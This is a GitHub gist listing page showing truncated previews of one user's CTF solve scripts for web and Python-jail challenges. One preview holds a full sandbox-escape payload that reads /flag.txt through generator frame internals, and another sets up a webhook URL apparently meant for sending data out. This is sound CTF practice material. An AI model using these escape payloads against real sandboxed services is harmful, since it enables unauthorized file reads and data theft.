Skip to content

Instantly share code, notes, and snippets.

View lebr0nli's full-sized avatar
😁
==1337==ERROR: AddressSanitizer: stack-buffer-overflow

Alan Li lebr0nli

😁
==1337==ERROR: AddressSanitizer: stack-buffer-overflow
View GitHub Profile
@lebr0nli
lebr0nli / solve.py
Created September 23, 2023 12:43
ASIS CTF Quals 2023 - yet another calc (web)
from flask import Flask
from base64 import b64encode
CHALL_URL = "http://45.147.229.138:8000/?e="
CHALL_URL = "http://web/?e="
app = Flask(__name__)
@app.route("/")
@lebr0nli
lebr0nli / solve.py
Last active September 18, 2023 00:32
SECCON CTF 2023 Quals - eeeeejs (Web)
from urllib.parse import urlencode
HOST = "http://eeeeejs.seccon.games:3000/"
HOST = "http://localhost:3000/"
HOST = "http://web:3000/"
def html_encode(s):
return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s])
@lebr0nli
lebr0nli / my_amf3.py
Created September 10, 2023 01:34
HITCON CTF 2023 Quals - AMF (Web/Misc)
import pyamf
from my_wsgi import WSGIGateway
NAMESPACE = "pyamf.remoting.amf3"
class RequestProcessor:
class __amf__:
static = ("gateway",)
@lebr0nli
lebr0nli / solve.py
Last active August 21, 2023 00:23
Bauhinia CTF 2023 - Pyjail 3
from pwn import *
def conn() -> tube:
if args.LOCAL:
return process(["python", "chall.py"])
return remote("chall-us.pwnable.hk", 30038)
def main() -> None:
@lebr0nli
lebr0nli / solve.py
Last active November 6, 2024 22:55
SSTF 2023 - pyJail (Misc)
from pwn import *
HOST = "pyjail.sstf.site"
PORT = "9999"
def conn() -> tube:
if args.LOCAL:
return process(["python", "jail.py"])
return remote(HOST, PORT)
@lebr0nli
lebr0nli / solve.py
Created July 23, 2023 06:43
ImaginaryCTF 2023 - You shall not call Revenge (misc)
from pwn import *
import pickletools
def conn() -> tube:
if args.LOCAL:
return process(["python", "server.py"])
return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337)
@lebr0nli
lebr0nli / solve.py
Created July 22, 2023 08:43
ImaginaryCTF 2023 - You shall not call! (misc)
from pwn import *
import pickletools
def conn() -> tube:
if args.LOCAL:
return process(["python", "server.py"])
return remote("you-shall-not-call.chal.imaginaryctf.org", 1337)
@lebr0nli
lebr0nli / solve.py
Last active August 12, 2024 16:20
UIUCTF 2023 - Rattler Read
from pwn import *
with remote("rattler-read.chal.uiuc.tf", 1337) as io:
payload = (
"""
g=(print(g.gi_frame.f_back.f_back.f_builtins['open']('/flag.txt').read())for x in(0,))
for x in g:0
""".strip()
.replace("\n", "\r")
.encode()
@lebr0nli
lebr0nli / solve.py
Last active June 12, 2023 02:15
SEETF 2023 - 🎓🌎 PlantUML (Web)
from pwn import *
WEBHOOK_URL = "https://webhook.site/64021412-a0e0-4f76-bde4-3bb705c13da4/"
def conn() -> tube:
if args.LOCAL:
return remote("localhost", 1337)
return remote("win.the.seetf.sg", 5000)
@lebr0nli
lebr0nli / fuzz.py
Created June 10, 2023 07:15
SEETF 2023 - 🤪 Another PyJail (Misc)
def gen_payload(name_idx: int) -> str:
payload = '(0 if 1 else f"'
for i in range(name_idx):
payload += "{a_%s}" % i
payload += '")'
payload = "(0 if %s else %s)" % (payload, f"a_{name_idx}")
return payload
payload = f"""
lambda getattr: [getattr(getattr, f"{{x}}") for x in {gen_payload(int(input()))}]